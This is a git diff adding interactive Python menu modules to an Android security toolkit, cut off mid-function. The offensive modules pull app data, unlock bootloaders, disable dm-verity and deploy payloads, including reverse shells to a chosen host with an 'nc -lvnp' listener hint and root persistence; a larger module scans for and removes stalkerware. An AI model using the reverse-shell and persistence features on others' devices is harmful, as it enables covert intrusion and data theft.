+ try: + package = input(" Package name: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not package: + return + print(f" Pulling APK for {package}...") + result = self.mgr.pull_apk(self.serial, package) + if result['success']: + size_mb = result['size'] / (1024 * 1024) + print(f" Saved: {result['local_path']} ({size_mb:.1f} MB)") + else: + print(f" Error: {result['error']}") + + def pull_app_data(self): + if not self._ensure_device(): + return + try: + package = input(" Package name: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not package: + return + print(f" Pulling app data for {package}...") + result = self.mgr.pull_app_data(self.serial, package) + if result['success']: + print(f" Output dir: {result['output_dir']}") + for f in result['files']: + print(f" {f}") + else: + print(" No data extracted (need debuggable app or root).") + + def extract_prefs(self): + if not self._ensure_device(): + return + try: + package = input(" Package name: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not package: + return + print(f" Extracting shared prefs for {package}...") + result = self.mgr.extract_shared_prefs(self.serial, package) + if result['success']: + print(f" Found {result['count']} pref files:") + for name, content in result['prefs'].items(): + print(f"\n --- {name} ---") + # Show first 20 lines + lines = content.split('\n')[:20] + for line in lines: + print(f" {line}") + if len(content.split('\n')) > 20: + print(" ...") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip().lower() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + elif choice == '1': + self.list_packages() + elif choice == '2': + self.pull_apk() + elif choice == '3': + self.pull_app_data() + elif choice == '4': + self.extract_prefs() + elif choice == 's': + self._select_device() + else: + print(" Invalid choice.") + + +def run(): + m = AndroidApps() + m.run_interactive() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_boot.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_boot.py new file mode 100644 index 0000000..a79c02d --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_boot.py @@ -0,0 +1,203 @@ +""" +Android Boot / Recovery Exploit - Bootloader unlock, flash, dm-verity +""" + +DESCRIPTION = "Android boot/recovery exploits (flash, unlock, verity bypass)" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "offense" + +import sys +from pathlib import Path +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + + +class AndroidBoot: + """Interactive menu for boot/recovery operations.""" + + def __init__(self): + from core.android_exploit import get_exploit_manager + from core.hardware import get_hardware_manager + self.mgr = get_exploit_manager() + self.hw = get_hardware_manager() + self.serial = None + + def _select_device(self): + """Select from fastboot devices (boot ops need fastboot mostly).""" + fb_devices = self.hw.fastboot_devices() + adb_devices = self.hw.adb_devices() + all_devs = [] + for d in fb_devices: + all_devs.append({'serial': d['serial'], 'mode': 'fastboot'}) + for d in adb_devices: + all_devs.append({'serial': d['serial'], 'mode': 'adb'}) + if not all_devs: + print(" No devices found (ADB or fastboot).") + return + if len(all_devs) == 1: + self.serial = all_devs[0]['serial'] + print(f" Selected: {self.serial} ({all_devs[0]['mode']})") + return + print("\n Select device:") + for i, d in enumerate(all_devs, 1): + print(f" {i}) {d['serial']} [{d['mode']}]") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(all_devs): + self.serial = all_devs[choice - 1]['serial'] + except (ValueError, EOFError, KeyboardInterrupt): + pass + + def _ensure_device(self): + if not self.serial: + self._select_device() + return self.serial is not None + + def show_menu(self): + print(f"\n{'='*50}") + print(" Boot / Recovery Exploit") + print(f"{'='*50}") + print(" !! WARNING: Can BRICK device / WIPE data !!") + print(f" Device: {self.serial or '(none)'}") + print() + print(" [1] Bootloader Info") + print(" [2] Backup Boot Image") + print(" [3] Unlock Bootloader [WIPES DATA]") + print(" [4] Flash Custom Recovery") + print(" [5] Flash Boot Image") + print(" [6] Disable dm-verity/AVB") + print(" [7] Temp Boot (no flash)") + print(" [s] Select Device") + print(" [0] Back") + print() + + def bootloader_info(self): + if not self._ensure_device(): + return + print(" Querying bootloader...") + info = self.mgr.get_bootloader_info(self.serial) + if not info: + print(" No info returned (device might not be in fastboot mode).") + return + print(f"\n Bootloader Variables:") + for k, v in info.items(): + print(f" {k:<25} {v}") + + def backup_boot(self): + if not self._ensure_device(): + return + print(" Backing up boot image (requires root via ADB)...") + result = self.mgr.backup_boot_image(self.serial) + if result['success']: + size_mb = result['size'] / (1024 * 1024) + print(f" Saved: {result['local_path']} ({size_mb:.1f} MB)") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def unlock_bootloader(self): + if not self._ensure_device(): + return + print("\n !! WARNING: This will WIPE ALL DATA on the device !!") + try: + confirm = input(" Type 'YES' to proceed: ").strip() + except (EOFError, KeyboardInterrupt): + return + if confirm != 'YES': + print(" Cancelled.") + return + print(" Unlocking bootloader...") + result = self.mgr.unlock_bootloader(self.serial) + if result['success']: + print(" Bootloader unlocked (or confirmation pending on device).") + else: + print(f" Result: {result.get('output', 'Unknown')}") + + def flash_recovery(self): + if not self._ensure_device(): + return + try: + img = input(" Recovery image path: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not img: + return + print(" Flashing recovery...") + result = self.mgr.flash_recovery(self.serial, img) + if result.get('success'): + print(f" Flash started (op: {result.get('op_id', '?')})") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def flash_boot(self): + if not self._ensure_device(): + return + try: + img = input(" Boot image path: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not img: + return + print(" Flashing boot...") + result = self.mgr.flash_boot(self.serial, img) + if result.get('success'): + print(f" Flash started (op: {result.get('op_id', '?')})") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def disable_verity(self): + if not self._ensure_device(): + return + try: + vbmeta = input(" vbmeta image path (optional, Enter to skip): ").strip() or None + except (EOFError, KeyboardInterrupt): + return + print(" Disabling dm-verity/AVB...") + result = self.mgr.disable_verity(self.serial, vbmeta) + print(f" Result: {result.get('output', 'Done')}") + print(f" Method: {result.get('method', '?')}") + + def temp_boot(self): + if not self._ensure_device(): + return + try: + img = input(" Boot image path: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not img: + return + print(" Temp-booting image (no permanent flash)...") + result = self.mgr.boot_temp(self.serial, img) + if result['success']: + print(" Device booting from temporary image.") + else: + print(f" Error: {result.get('output', 'Failed')}") + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip().lower() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + actions = { + '1': self.bootloader_info, + '2': self.backup_boot, + '3': self.unlock_bootloader, + '4': self.flash_recovery, + '5': self.flash_boot, + '6': self.disable_verity, + '7': self.temp_boot, + 's': self._select_device, + } + action = actions.get(choice) + if action: + action() + else: + print(" Invalid choice.") + + +def run(): + m = AndroidBoot() + m.run_interactive() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_payload.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_payload.py new file mode 100644 index 0000000..c817e8a --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_payload.py @@ -0,0 +1,191 @@ +""" +Android Payload Deployment - Deploy binaries, reverse shells, persistence +""" + +DESCRIPTION = "Android payload deployment (binaries, reverse shells, persistence)" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "offense" + +import sys +from pathlib import Path +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + + +class AndroidPayload: + """Interactive menu for Android payload deployment.""" + + def __init__(self): + from core.android_exploit import get_exploit_manager + from core.hardware import get_hardware_manager + self.mgr = get_exploit_manager() + self.hw = get_hardware_manager() + self.serial = None + + def _select_device(self): + devices = self.hw.adb_devices() + if not devices: + print(" No ADB devices connected.") + return + if len(devices) == 1: + self.serial = devices[0]['serial'] + print(f" Selected: {self.serial}") + return + print("\n Select device:") + for i, d in enumerate(devices, 1): + model = d.get('model', '') + print(f" {i}) {d['serial']} {model}") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(devices): + self.serial = devices[choice - 1]['serial'] + except (ValueError, EOFError, KeyboardInterrupt): + pass + + def _ensure_device(self): + if not self.serial: + self._select_device() + return self.serial is not None + + def show_menu(self): + print(f"\n{'='*50}") + print(" Payload Deployment") + print(f"{'='*50}") + print(f" Device: {self.serial or '(none)'}") + print() + print(" [1] Deploy Binary") + print(" [2] Execute Payload") + print(" [3] Setup Reverse Shell") + print(" [4] Install Persistence [ROOT]") + print(" [5] List Running Payloads") + print(" [6] Kill Payload") + print(" [s] Select Device") + print(" [0] Back") + print() + + def deploy_binary(self): + if not self._ensure_device(): + return + try: + local = input(" Local binary path: ").strip() + remote = input(" Remote path [/data/local/tmp/]: ").strip() or '/data/local/tmp/' + except (EOFError, KeyboardInterrupt): + return + if not local: + return + print(" Deploying...") + result = self.mgr.deploy_binary(self.serial, local, remote) + if result['success']: + print(f" Deployed to: {result['remote_path']}") + else: + print(f" Error: {result['error']}") + + def execute_payload(self): + if not self._ensure_device(): + return + try: + remote = input(" Remote path: ").strip() + args = input(" Arguments []: ").strip() + bg = input(" Background? [Y/n]: ").strip().lower() != 'n' + except (EOFError, KeyboardInterrupt): + return + if not remote: + return + print(" Executing...") + result = self.mgr.execute_payload(self.serial, remote, args=args, background=bg) + if result['success']: + if result['background']: + print(f" Running in background, PID: {result['pid']}") + else: + print(f" Output:\n{result['output']}") + else: + print(f" Error: {result.get('output', 'Failed')}") + + def reverse_shell(self): + if not self._ensure_device(): + return + try: + lhost = input(" LHOST (your IP): ").strip() + lport = input(" LPORT: ").strip() + print(" Methods: nc, bash, python") + method = input(" Method [nc]: ").strip() or 'nc' + except (EOFError, KeyboardInterrupt): + return + if not lhost or not lport: + return + print(f" Setting up {method} reverse shell to {lhost}:{lport}...") + result = self.mgr.setup_reverse_shell(self.serial, lhost, int(lport), method) + if result['success']: + print(f" Reverse shell initiated ({method})") + print(f" Catch with: nc -lvnp {lport}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def persistence(self): + if not self._ensure_device(): + return + try: + method = input(" Method [init.d]: ").strip() or 'init.d' + except (EOFError, KeyboardInterrupt): + return + print(" Installing persistence (requires root)...") + result = self.mgr.install_persistence(self.serial, method) + if result['success']: + print(f" Installed at: {result['path']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def list_payloads(self): + if not self._ensure_device(): + return + result = self.mgr.list_running_payloads(self.serial) + if not result['success']: + print(f" Error: {result.get('error', 'Failed')}") + return + if not result['payloads']: + print(" No running payloads found in /data/local/tmp/") + return + print(f"\n Found {result['count']} running payloads:") + for p in result['payloads']: + print(f" PID {p['pid']}: {p['command']}") + + def kill_payload(self): + if not self._ensure_device(): + return + try: + pid = input(" PID to kill: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not pid: + return + result = self.mgr.kill_payload(self.serial, pid) + print(f" Kill signal sent to PID {pid}") + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip().lower() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + actions = { + '1': self.deploy_binary, + '2': self.execute_payload, + '3': self.reverse_shell, + '4': self.persistence, + '5': self.list_payloads, + '6': self.kill_payload, + 's': self._select_device, + } + action = actions.get(choice) + if action: + action() + else: + print(" Invalid choice.") + + +def run(): + m = AndroidPayload() + m.run_interactive() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_protect.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_protect.py new file mode 100644 index 0000000..ad07db1 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_protect.py @@ -0,0 +1,936 @@ +""" +Android Protection Shield - Anti-stalkerware & anti-spyware defense +Detect, analyze, and remove stalkerware and government-grade spyware from Android devices. +""" + +DESCRIPTION = "Android anti-stalkerware/spyware shield" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "defense" + + +class AndroidProtect: + """Interactive Android protection menu.""" + + def __init__(self): + from core.android_protect import get_android_protect_manager + from core.hardware import get_hardware_manager + self.mgr = get_android_protect_manager() + self.hw = get_hardware_manager() + self.serial = None + + def _pick_device(self): + """Select an ADB device.""" + devices = self.hw.adb_devices() + if not devices: + print(" No ADB devices connected.") + return None + if len(devices) == 1: + self.serial = devices[0]['serial'] + return self.serial + print("\n Select device:") + for i, d in enumerate(devices, 1): + model = d.get('model', '') + print(f" {i}) {d['serial']} {model}") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(devices): + self.serial = devices[choice - 1]['serial'] + return self.serial + except (ValueError, EOFError, KeyboardInterrupt): + pass + return None + + def _ensure_device(self): + """Ensure we have a selected device.""" + if self.serial: + return self.serial + return self._pick_device() + + def _print_severity(self, sev): + """Color indicator for severity.""" + markers = { + 'critical': '[!!!]', + 'high': '[!! ]', + 'medium': '[! ]', + 'low': '[ ]', + } + return markers.get(sev, '[? ]') + + def show_menu(self): + status = self.hw.get_status() + serial_str = self.serial or 'None selected' + + # Shizuku/Shield info + shizuku_str = 'N/A' + shield_str = 'N/A' + if self.serial: + try: + sz = self.mgr.check_shizuku(self.serial) + if sz['installed']: + shizuku_str = f"{'Running' if sz['running'] else 'Stopped'}" + if sz['version']: + shizuku_str += f" v{sz['version']}" + else: + shizuku_str = 'Not installed' + sh = self.mgr.check_shield_app(self.serial) + shield_str = f"v{sh['version']}" if sh['installed'] else 'Not installed' + except Exception: + pass + + sig_stats = self.mgr.get_signature_stats() + + print(f"\n{'='*60}") + print(" Android Protection Shield") + print(f"{'='*60}") + print(f" ADB: {'Available' if status['adb'] else 'Not found'}") + print(f" Device: {serial_str}") + print(f" Shizuku: {shizuku_str} | Shield: {shield_str}") + print(f" DB: {sig_stats['stalkerware_packages']} packages, " + f"{sig_stats['government_spyware']} govt spyware") + print() + print(" -- Quick Actions --") + print(" 1) Quick Scan (fast)") + print(" 2) Full Protection Scan") + print(" 3) Export Scan Report") + print() + print(" -- Detection --") + print(" 10) Scan Stalkerware") + print(" 11) Scan Hidden Apps") + print(" 12) Scan Device Admins") + print(" 13) Scan Accessibility Services") + print(" 14) Scan Notification Listeners") + print(" 15) Scan Spyware Indicators (Pegasus/Predator)") + print(" 16) Scan System Integrity") + print(" 17) Scan Suspicious Processes") + print(" 18) Scan Certificates (MITM)") + print(" 19) Scan Network Config") + print(" 20) Scan Developer Options") + print() + print(" -- Permission Analysis --") + print(" 30) Find Dangerous Apps") + print(" 31) Analyze App Permissions") + print(" 32) Permission Heatmap") + print() + print(" -- Remediation --") + print(" 40) Disable Threat") + print(" 41) Uninstall Threat") + print(" 42) Revoke Dangerous Permissions") + print(" 43) Remove Device Admin") + print(" 44) Remove Rogue CA Cert") + print(" 45) Clear Proxy Settings") + print() + print(" -- Shizuku & Shield --") + print(" 50) Shizuku Status") + print(" 51) Install Shizuku") + print(" 52) Start Shizuku Service") + print(" 53) Install Shield App") + print(" 54) Configure Shield") + print(" 55) Grant Shield Permissions") + print() + print(" -- Database --") + print(" 60) Signature Stats") + print(" 61) Update Signatures") + print() + print(" -- Tracking Honeypot --") + print(" 70) Honeypot Status") + print(" 71) Scan Tracker Apps") + print(" 72) Scan Tracker Permissions") + print(" 73) View Ad Tracking Settings") + print() + print(" 74) Reset Advertising ID") + print(" 75) Opt Out of Ad Tracking") + print(" 76) Set Ad-Blocking DNS") + print(" 77) Disable Location Scanning") + print() + print(" 78) Deploy Hosts Blocklist (root)") + print(" 79) Setup Traffic Redirect (root)") + print(" 80) Set Fake Location (root)") + print(" 81) Random Fake Location (root)") + print(" 82) Rotate Device Identity (root)") + print(" 83) Generate Fake Fingerprint (root)") + print() + print(" 84) Activate Honeypot (all tiers)") + print(" 85) Deactivate Honeypot") + print() + print(" 86) Tracker Domain Stats") + print(" 87) Update Tracker Domains") + print() + print(" [s] Select Device") + print(" 0) Back") + print() + + # ── Quick Actions ─────────────────────────────────────────────── + + def do_quick_scan(self): + if not self._ensure_device(): + return + print(f"\n Running quick scan on {self.serial}...") + result = self.mgr.quick_scan(self.serial) + summary = result.get('summary', {}) + print(f"\n {'='*50}") + print(f" Quick Scan Results") + print(f" {'='*50}") + print(f" Threats found: {summary.get('threats_found', 0)}") + print(f" Stalkerware: {summary.get('stalkerware', 0)}") + print(f" Suspicious admins: {summary.get('suspicious_admins', 0)}") + print(f" Malicious accessibility: {summary.get('malicious_accessibility', 0)}") + + found = result.get('stalkerware', {}).get('found', []) + if found: + print(f"\n Stalkerware Detected:") + for f in found: + print(f" {self._print_severity(f['severity'])} {f['name']} ({f['package']})") + print(f" {f['description']}") + + def do_full_scan(self): + if not self._ensure_device(): + return + print(f"\n Running full protection scan on {self.serial}...") + print(" This may take a few minutes...") + result = self.mgr.full_protection_scan(self.serial) + summary = result.get('summary', {}) + print(f"\n {'='*50}") + print(f" Full Scan Results") + print(f" {'='*50}") + print(f" Total threats: {summary.get('threats_found', 0)}") + print(f" System integrity: {summary.get('system_integrity', 'N/A')}") + print(f" Hidden apps: {summary.get('hidden_apps', 0)}") + print(f" Dangerous apps: {summary.get('dangerous_apps', 0)}") + print(f" User CA certs: {summary.get('user_ca_certs', 0)}") + + found = result.get('stalkerware', {}).get('found', []) + if found: + print(f"\n Stalkerware:") + for f in found: + print(f" {self._print_severity(f['severity'])} {f['name']} ({f['package']})") + + spyware = result.get('spyware_indicators', {}).get('findings', []) + if spyware: + print(f"\n Government Spyware Indicators:") + for s in spyware: + print(f" {self._print_severity(s['severity'])} {s['name']}") + for ind in s.get('indicators_matched', []): + print(f" {ind['type']}: {ind['value']}") + + def do_export_report(self): + if not self._ensure_device(): + return + print(f"\n Running full scan and exporting...") + scan = self.mgr.full_protection_scan(self.serial) + result = self.mgr.export_scan_report(self.serial, scan) + if result.get('ok'): + print(f" Report saved: {result['path']}") + else: + print(f" Error: {result.get('error', 'Unknown')}") + + # ── Detection ─────────────────────────────────────────────────── + + def do_scan_stalkerware(self): + if not self._ensure_device(): + return + print(f"\n Scanning for stalkerware...") + result = self.mgr.scan_stalkerware(self.serial) + if result.get('error'): + print(f" Error: {result['error']}") + return + print(f" Scanned {result['total']} packages, {result['clean_count']} clean") + found = result.get('found', []) + if found: + print(f"\n Found {len(found)} threats:") + for f in found: + print(f" {self._print_severity(f['severity'])} {f['name']}") + print(f" Package: {f['package']}") + print(f" {f['description']}") + else: + print(" No stalkerware detected.") + + def do_scan_hidden(self): + if not self._ensure_device(): + return + print(f"\n Scanning for hidden apps...") + result = self.mgr.scan_hidden_apps(self.serial) + apps = result.get('hidden_apps', []) + print(f" Found {len(apps)} hidden apps (no launcher icon):") + for app in apps: + print(f" - {app}") + + def do_scan_admins(self): + if not self._ensure_device(): + return + print(f"\n Scanning device admins...") + result = self.mgr.scan_device_admins(self.serial) + admins = result.get('admins', []) + print(f" Found {len(admins)} device admins:") + for a in admins: + marker = " [SUSPICIOUS]" if a.get('suspicious') else "" + print(f" - {a['package']}{marker}") + + def do_scan_accessibility(self): + if not self._ensure_device(): + return + print(f"\n Scanning accessibility services...") + result = self.mgr.scan_accessibility_services(self.serial) + services = result.get('services', []) + if not services: + print(" No accessibility services enabled.") + return + for s in services: + status = s.get('status', 'unknown') + marker = {'legitimate': '[OK]', 'malicious': '[BAD]', 'unknown': '[??]'} + print(f" {marker.get(status, '[??]')} {s['package']}") + + def do_scan_listeners(self): + if not self._ensure_device(): + return + print(f"\n Scanning notification listeners...") + result = self.mgr.scan_notification_listeners(self.serial) + listeners = result.get('listeners', []) + if not listeners: + print(" No notification listeners enabled.") + return + for l in listeners: + marker = " [SUSPICIOUS]" if l.get('suspicious') else "" + print(f" - {l['package']}{marker}") + + def do_scan_spyware(self): + if not self._ensure_device(): + return + print(f"\n Scanning for government spyware indicators...") + print(" Checking Pegasus, Predator, Hermit, FinSpy, etc...") + result = self.mgr.scan_spyware_indicators(self.serial) + print(f" Checked {result.get('spyware_checked', 0)} spyware families") + findings = result.get('findings', []) + if findings: + print(f"\n ALERT: Found {len(findings)} indicators:") + for f in findings: + print(f" {self._print_severity(f['severity'])} {f['name']}") + print(f" {f.get('description', '')}") + for ind in f.get('indicators_matched', []): + print(f" {ind['type']}: {ind['value']}") + else: + print(" No government spyware indicators found.") + + def do_scan_integrity(self): + if not self._ensure_device(): + return + print(f"\n Checking system integrity...") + result = self.mgr.scan_system_integrity(self.serial) + print(f" Passed: {result['ok_count']}/{result['total']}") + for name, check in result.get('checks', {}).items(): + status = "[OK]" if check['ok'] else "[!!]" + print(f" {status} {check['description']}: {check['value']}") + + def do_scan_processes(self): + if not self._ensure_device(): + return + print(f"\n Scanning for suspicious processes...") + result = self.mgr.scan_suspicious_processes(self.serial) + findings = result.get('findings', []) + if findings: + print(f" Found {len(findings)} suspicious items:") + for f in findings: + print(f" [{f['severity'].upper()}] {f['type']}: {f['detail']}") + else: + print(" No suspicious processes found.") + + def do_scan_certs(self): + if not self._ensure_device(): + return + print(f"\n Scanning certificates...") + result = self.mgr.scan_certificates(self.serial) + certs = result.get('certs', []) + if certs: + print(f" Found {len(certs)} user-installed CA certs:") + for c in certs: + print(f" - {c['hash']}: {c['detail']}") + else: + print(" No user-installed CA certificates.") + + def do_scan_network(self): + if not self._ensure_device(): + return + print(f"\n Scanning network configuration...") + result = self.mgr.scan_network_config(self.serial) + for name, check in result.get('checks', {}).items(): + status = "[OK]" if check.get('ok', True) else "[!!]" + desc = check.get('description', name) + print(f" {status} {desc}: {check['value']}") + + def do_scan_devopt(self): + if not self._ensure_device(): + return + print(f"\n Scanning developer options...") + result = self.mgr.scan_developer_options(self.serial) + for name, check in result.get('checks', {}).items(): + marker = "[ON] " if check.get('enabled') else "[OFF]" + print(f" {marker} {check['description']}: {check['value']}") + + # ── Permission Analysis ───────────────────────────────────────── + + def do_dangerous_apps(self): + if not self._ensure_device(): + return + print(f"\n Finding apps with dangerous permission combos...") + print(" This may take a while...") + result = self.mgr.find_dangerous_apps(self.serial) + dangerous = result.get('dangerous', []) + if dangerous: + print(f"\n Found {len(dangerous)} dangerous apps:") + for d in dangerous: + print(f" {self._print_severity(d['severity'])} {d['package']}") + print(f" Pattern: {d['combo']}") + print(f" Perms: {', '.join(d['matched_perms'])}") + else: + print(" No apps with dangerous permission combos found.") + + def do_analyze_perms(self): + if not self._ensure_device(): + return + try: + package = input(" Package name: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not package: + return + result = self.mgr.analyze_app_permissions(self.serial, package) + if result.get('error'): + print(f" Error: {result['error']}") + return + perms = result.get('permissions', {}) + info = result.get('info', {}) + print(f"\n {package}") + if info: + for k, v in info.items(): + print(f" {k}: {v}") + print(f"\n Granted ({len(perms.get('granted', []))}):") + for p in perms.get('granted', []): + print(f" + {p}") + print(f" Denied ({len(perms.get('denied', []))}):") + for p in perms.get('denied', []): + print(f" - {p}") + + def do_perm_heatmap(self): + if not self._ensure_device(): + return + print(f"\n Building permission heatmap...") + print(" This scans all non-system apps, may take a while...") + result = self.mgr.permission_heatmap(self.serial) + matrix = result.get('matrix', []) + perm_names = result.get('permission_names', []) + if not matrix: + print(" No apps with dangerous permissions found.") + return + # Print header + short = [p[:8] for p in perm_names] + header = f" {'Package':<35} " + " ".join(f"{s:<8}" for s in short) + print(f"\n{header}") + print(f" {'-'*len(header)}") + for row in matrix[:30]: # Limit display + pkg = row['package'][:34] + perms = row['permissions'] + cells = " ".join( + f"{' X ' if perms.get(p) else ' . '}" + for p in perm_names + ) + print(f" {pkg:<35} {cells}") + if len(matrix) > 30: + print(f" ... and {len(matrix) - 30} more apps") + + # ── Remediation ───────────────────────────────────────────────── + + def _get_package_input(self, prompt=" Package to target: "): + try: + return input(prompt).strip() + except (EOFError, KeyboardInterrupt): + return '' + + def do_disable(self): + if not self._ensure_device(): + return + pkg = self._get_package_input() + if not pkg: + return + result = self.mgr.disable_threat(self.serial, pkg) + if result.get('ok'): + print(f" Disabled: {pkg}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_uninstall(self): + if not self._ensure_device(): + return + pkg = self._get_package_input() + if not pkg: + return + try: + confirm = input(f" Uninstall {pkg}? (y/N): ").strip().lower() + except (EOFError, KeyboardInterrupt): + return + if confirm != 'y': + print(" Cancelled.") + return + result = self.mgr.uninstall_threat(self.serial, pkg) + if result.get('ok'): + print(f" Uninstalled: {pkg}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_revoke(self): + if not self._ensure_device(): + return + pkg = self._get_package_input() + if not pkg: + return + result = self.mgr.revoke_dangerous_perms(self.serial, pkg) + print(f" Revoked: {', '.join(result['revoked'])}") + if result['failed']: + print(f" Failed: {', '.join(result['failed'])}") + + def do_remove_admin(self): + if not self._ensure_device(): + return + pkg = self._get_package_input() + if not pkg: + return + result = self.mgr.remove_device_admin(self.serial, pkg) + if result.get('ok'): + print(f" Removed device admin: {result.get('message', pkg)}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_remove_cert(self): + if not self._ensure_device(): + return + # List certs first + certs = self.mgr.scan_certificates(self.serial).get('certs', []) + if not certs: + print(" No user CA certs to remove.") + return + print(" User CA certificates:") + for i, c in enumerate(certs, 1): + print(f" {i}) {c['hash']}: {c['detail']}") + try: + choice = int(input(" Remove #: ").strip()) + if 1 <= choice <= len(certs): + result = self.mgr.remove_ca_cert(self.serial, certs[choice - 1]['hash']) + if result.get('ok'): + print(f" Removed.") + else: + print(f" Error: {result.get('error')}") + except (ValueError, EOFError, KeyboardInterrupt): + pass + + def do_clear_proxy(self): + if not self._ensure_device(): + return + result = self.mgr.clear_proxy(self.serial) + for r in result.get('results', []): + status = "OK" if r['ok'] else "FAIL" + print(f" [{status}] {r['setting']}") + + # ── Shizuku & Shield ──────────────────────────────────────────── + + def do_shizuku_status(self): + if not self._ensure_device(): + return + result = self.mgr.shizuku_status(self.serial) + print(f"\n Shizuku Status:") + print(f" Installed: {result['installed']}") + print(f" Running: {result.get('running', False)}") + print(f" Version: {result.get('version', 'N/A')}") + + def do_install_shizuku(self): + if not self._ensure_device(): + return + try: + apk = input(" Shizuku APK path: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not apk: + return + result = self.mgr.install_shizuku(self.serial, apk) + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error')}") + + def do_start_shizuku(self): + if not self._ensure_device(): + return + result = self.mgr.start_shizuku(self.serial) + if result.get('ok'): + print(f" Shizuku started: {result.get('output', '')}") + else: + print(f" Error: {result.get('error')}") + + def do_install_shield(self): + if not self._ensure_device(): + return + try: + apk = input(" Shield APK path: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not apk: + return + result = self.mgr.install_shield_app(self.serial, apk) + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error')}") + + def do_configure_shield(self): + if not self._ensure_device(): + return + print(" Shield Configuration (JSON):") + try: + config_str = input(" > ").strip() + config = json.loads(config_str) + except (EOFError, KeyboardInterrupt): + return + except json.JSONDecodeError: + print(" Invalid JSON.") + return + result = self.mgr.configure_shield(self.serial, config) + if result.get('ok'): + print(f" Config sent: {result.get('output', '')}") + else: + print(f" Error: {result.get('output', 'Failed')}") + + def do_grant_shield_perms(self): + if not self._ensure_device(): + return + result = self.mgr.grant_shield_permissions(self.serial) + for p in result.get('granted', []): + print(f" [OK] {p}") + for f in result.get('failed', []): + print(f" [!!] {f['perm']}: {f['error']}") + + # ── Tracking Honeypot ───────────────────────────────────────── + + def do_honeypot_status(self): + if not self._ensure_device(): + return + print(f"\n Checking honeypot status...") + result = self.mgr.honeypot_status(self.serial) + print(f"\n Honeypot Status:") + print(f" Active: {result.get('active', False)}") + print(f" Tier: {result.get('tier', 0)}") + print(f" Ad tracking: {'limited' if result.get('ad_tracking_limited') else 'not limited'}") + print(f" Private DNS: {result.get('private_dns_mode', 'off')}") + if result.get('private_dns_host'): + print(f" DNS host: {result['private_dns_host']}") + protections = result.get('protections', {}) + if protections: + print(f" Protections:") + for k, v in protections.items(): + print(f" {k}: {v}") + + def do_scan_tracker_apps(self): + if not self._ensure_device(): + return + print(f"\n Scanning for tracker apps...") + result = self.mgr.scan_tracker_apps(self.serial) + if result.get('error'): + print(f" Error: {result['error']}") + return + found = result.get('found', []) + print(f" Found {len(found)} tracker packages out of {result.get('total', 0)} installed:") + for pkg in found: + print(f" - {pkg}") + if not found: + print(" No known tracker apps found.") + + def do_scan_tracker_perms(self): + if not self._ensure_device(): + return + print(f"\n Scanning for tracking permissions...") + result = self.mgr.scan_tracker_permissions(self.serial) + apps = result.get('apps', []) + if apps: + print(f" {len(apps)} apps have tracking permissions:") + for app in apps[:30]: + print(f" {app['package']}: {', '.join(app['permissions'])}") + if len(apps) > 30: + print(f" ... and {len(apps) - 30} more") + else: + print(" No apps with tracking permissions found.") + + def do_ad_settings(self): + if not self._ensure_device(): + return + print(f"\n Ad Tracking Settings:") + result = self.mgr.get_tracking_settings(self.serial) + for name, info in result.items(): + print(f" {info.get('description', name)}: {info['value']}") + + def do_reset_ad_id(self): + if not self._ensure_device(): + return + result = self.mgr.reset_advertising_id(self.serial) + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_opt_out_tracking(self): + if not self._ensure_device(): + return + result = self.mgr.opt_out_ad_tracking(self.serial) + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_set_dns(self): + if not self._ensure_device(): + return + print(" Available DNS providers:") + db = self.mgr._load_tracker_domains() + providers = db.get('dns_providers', {}) + for name, info in providers.items(): + print(f" {name}: {info.get('description', info.get('hostname', ''))}") + try: + provider = input(" Provider name: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not provider: + return + result = self.mgr.set_private_dns(self.serial, provider) + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def 